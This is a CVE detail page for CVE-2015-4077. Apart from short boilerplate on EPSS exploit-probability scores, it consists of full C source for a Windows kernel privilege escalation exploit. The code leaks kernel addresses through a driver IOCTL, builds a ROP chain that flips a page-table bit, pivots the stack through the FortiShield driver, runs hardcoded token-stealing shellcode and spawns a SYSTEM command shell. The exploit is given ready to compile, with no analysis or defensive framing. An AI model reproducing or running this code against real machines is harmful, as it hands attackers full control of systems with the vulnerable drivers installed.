CVE-2015-4077 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

#include "stdafx.h" #include <stdio.h> #include <Windows.h> #include <Psapi.h> #include <Shlobj.h> #pragma comment (lib,"psapi") PULONGLONG leak_buffer = (PULONGLONG)VirtualAlloc((LPVOID)0x000000001a000000, 0x2000, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE); ULONGLONG leakQWORD(ULONGLONG addr, HANDLE driver) { memset((LPVOID)0x000000001a000000, 0x11, 0x1000); memset((LPVOID)0x000000001a001000, 0x22, 0x1000); leak_buffer[0] = 0x000000001a000008; leak_buffer[1] = 0x0000000000000003; leak_buffer[4] = 0x000000001a000028; leak_buffer[6] = addr - 0x70; DWORD IoControlCode = 0x22608C; LPVOID InputBuffer = (LPVOID)0x000000001a000000; DWORD InputBufferLength = 0x20; LPVOID OutputBuffer = (LPVOID)0x000000001a001000; DWORD OutputBufferLength = 0x110; DWORD lpBytesReturned; BOOL triggerIOCTL; triggerIOCTL = DeviceIoControl(driver, IoControlCode, InputBuffer, InputBufferLength, OutputBuffer, OutputBufferLength, &lpBytesReturned, NULL); if (!triggerIOCTL) { printf("[!] Error in the SYSCALL: %d\n", GetLastError()); } ULONGLONG result = leak_buffer[0x202]; return result; } ULONGLONG leakNtBase(HANDLE driver) { ULONGLONG teb = (ULONGLONG)NtCurrentTeb(); ULONGLONG thread = *(PULONGLONG)(teb + 0x78); ULONGLONG threadInfo = leakQWORD(thread, driver); ULONGLONG ntAddr = leakQWORD(threadInfo + 0x2a8, driver); ULONGLONG baseAddr = 0; ULONGLONG signature = 0x00905a4d; ULONGLONG searchAddr = ntAddr & 0xFFFFFFFFFFFFF000; while (TRUE) { ULONGLONG readData = leakQWORD(searchAddr, driver); ULONGLONG tmp = readData & 0xFFFFFFFF; /* printf("%llx\n", readData); printf("%llx\n", tmp); */ if (tmp == signature) { baseAddr = searchAddr; break; } searchAddr = searchAddr - 0x1000; } return baseAddr; } ULONGLONG leakFortiBase(HANDLE driver, ULONGLONG ntBase) { ULONGLONG PsLoadModuleListAddr = ntBase + 0x34c5a0; ULONGLONG searchAddr = leakQWORD(PsLoadModuleListAddr, driver); ULONGLONG addr = 0; while (1) { ULONGLONG namePointer = leakQWORD(searchAddr + 0x60, driver); ULONGLONG name = leakQWORD(namePointer, driver); if (name == 0x00740072006f0046) { name = leakQWORD(namePointer + 8, driver); if (name == 0x0069006800530069) { addr = leakQWORD(searchAddr + 0x30, driver); break; } } searchAddr = leakQWORD(searchAddr, driver); } return addr; } ULONGLONG allocate_fake_stack(ULONGLONG ntBase, ULONGLONG fortishield_callback, ULONGLONG fortishield_restore, ULONGLONG pte_result) { PULONGLONG fake_stack = (PULONGLONG)VirtualAlloc((LPVOID)0x00000000f5ffe000, 0x12000, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); if (fake_stack == NULL) { printf("[!] Error while allocating the fake stack: %d\n", GetLastError()); return 1; } memset(fake_stack, 0x41, 0x12000); PULONGLONG ropStack = (PULONGLONG)fake_stack + 0x2000; DWORD index = 0; // <NULL Callback> ropStack[index] = ntBase + 0x1684ef; index++; // pop rax ; pop rcx ; ret ropStack[index] = fortishield_callback; index++; // FortiShield Callback ropStack[index] = 0x0000000000000000; index++; // NULL ropStack[index] = ntBase + 0x937eb; index++; // mov qword [rax], rcx ; ret // </NULL Callback> // <Flip U=S bit> ropStack[index] = ntBase + 0x88614; index++; // pop rax ; ret ropStack[index] = pte_result; index++; // PTE VA ropStack[index] = ntBase + 0x1a3cb2; index++; // pop rdx ; ret ropStack[index] = 0x0000000000000063; index++; // DIRTY + ACCESSED + R/W + PRESENT ropStack[index] = ntBase + 0xe8a8b; index++; // mov byte [rax], dl ; add eax, 0x01740000 ; ret ropStack[index] = ntBase + 0x11e000; index++; // wbinvd ; ret // </Flip U=S bit> // <Restore variables & shellcode> ropStack[index] = 0x00000000f6000100; index++; // Shellcode address ropStack[index] = fortishield_restore; index++; // FortiShield return location // </Restore variables & shellcode> char token_steal[] = "\x48\x31\xc0\x65\x48\x8b\x80" "\x88\x01\x00\x00\x48\x8b\x80" "\xb8\x00\x00\x00\x49\x89\xc0" "\x48\x8b\x80\xe8\x02\x00\x00" "\x48\x2d\xe8\x02\x00\x00\x48" "\x8b\x88\xe0\x02\x00\x00\x48" "\x83\xf9\x04\x75\xe6\x4c\x8b" "\x88\x58\x03\x00\x00\x4d\x89" "\x88\x58\x03\x00\x00\x3E\x48" "\x8B\x04\x24\x48\x89\xF4\x48" "\x83\xEC\x20\xFF\xE0"; memcpy((fake_stack + 0x2020), token_steal, sizeof(token_steal)); return 0; } ULONGLONG get_pxe_address_64(ULONGLONG address, ULONGLONG pte_start) { ULONGLONG result = address >> 9; result = result | pte_start; result = result & (pte_start + 0x0000007ffffffff8); return result; } int trigger_callback() { printf("[+] Creating dummy file\n"); system("echo test > C:\\Users\\n00b\\AppData\\LocalLow\\test.txt"); printf("[+] Calling MoveFileEx()\n"); BOOL MFEresult = MoveFileEx(L"C:\\Users\\n00b\\AppData\\LocalLow\\test.txt", L"C:\\Users\\n00b\\AppData\\LocalLow\\test2.txt", MOVEFILE_REPLACE_EXISTING); if (MFEresult == 0) { printf("[!] Error while calling MoveFileEx(): %d\n", GetLastError()); return 1; } return 0; } int main() { LoadLibraryA("user32.dll"); // Populate Win32ThreadInfo HANDLE mdare = CreateFile(L"\\\\.\\mdareDriver_48", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL); if (mdare == INVALID_HANDLE_VALUE) { printf("[!] Error while creating a handle to the driver: %d\n", GetLastError()); return 1; } HANDLE forti = CreateFile(L"\\\\.\\FortiShield", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL); if (forti == INVALID_HANDLE_VALUE) { printf("[!] Error while creating a handle to the driver: %d\n", GetLastError()); return 1; } LPDWORD hThread_id = 0; HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)&trigger_callback, NULL, CREATE_SUSPENDED, hThread_id); if (hThread == NULL) { printf("[!] Error while calling CreateThread: %d\n", GetLastError()); return 1; } BOOL hThread_priority = SetThreadPriority(hThread, THREAD_PRIORITY_HIGHEST); if (hThread_priority == 0) { printf("[!] Error while calling SetThreadPriority: %d\n", GetLastError()); return 1; } ULONGLONG ntBase = leakNtBase(mdare); ULONGLONG ntPivot = ntBase + 0x1ab3ec; // mov esp, 0xf6000000; retn; ULONGLONG ntMiGetPteAddressOffset = leakQWORD(ntBase + 0x62aeb, mdare); ULONGLONG fortishieldBase = leakFortiBase(mdare, ntBase); ULONGLONG fortishield_callback = fortishieldBase + 0xd150; ULONGLONG fortishield_restore = fortishieldBase + 0x2f73; printf("[+] ntoskrnl.exe base address is: 0x%llx\n", ntBase); printf("[+] PTE VA start address is: 0x%llx\n", ntMiGetPteAddressOffset); printf("[+] FortiShield.sys base address is: 0x%llx\n", fortishieldBase); ULONGLONG pte_result = get_pxe_address_64(0xf6000000, ntMiGetPteAddressOffset); printf("[+] PTE virtual address for 0xf6000000: %I64x\n", pte_result); allocate_fake_stack(ntBase, fortishield_callback, fortishield_restore, pte_result); DWORD IoControlCode = 0x220028; ULONGLONG InputBuffer = ntPivot; DWORD InputBufferLength = 0x8; ULONGLONG OutputBuffer = 0x0; DWORD OutputBufferLength = 0x0; DWORD lpBytesReturned; //DebugBreak(); BOOL triggerIOCTL = DeviceIoControl(forti, IoControlCode, (LPVOID)&InputBuffer, InputBufferLength, (LPVOID)&OutputBuffer, OutputBufferLength, &lpBytesReturned, NULL); ResumeThread(hThread); WaitForSingleObject(hThread, INFINITE); system("start cmd.exe"); return 0; }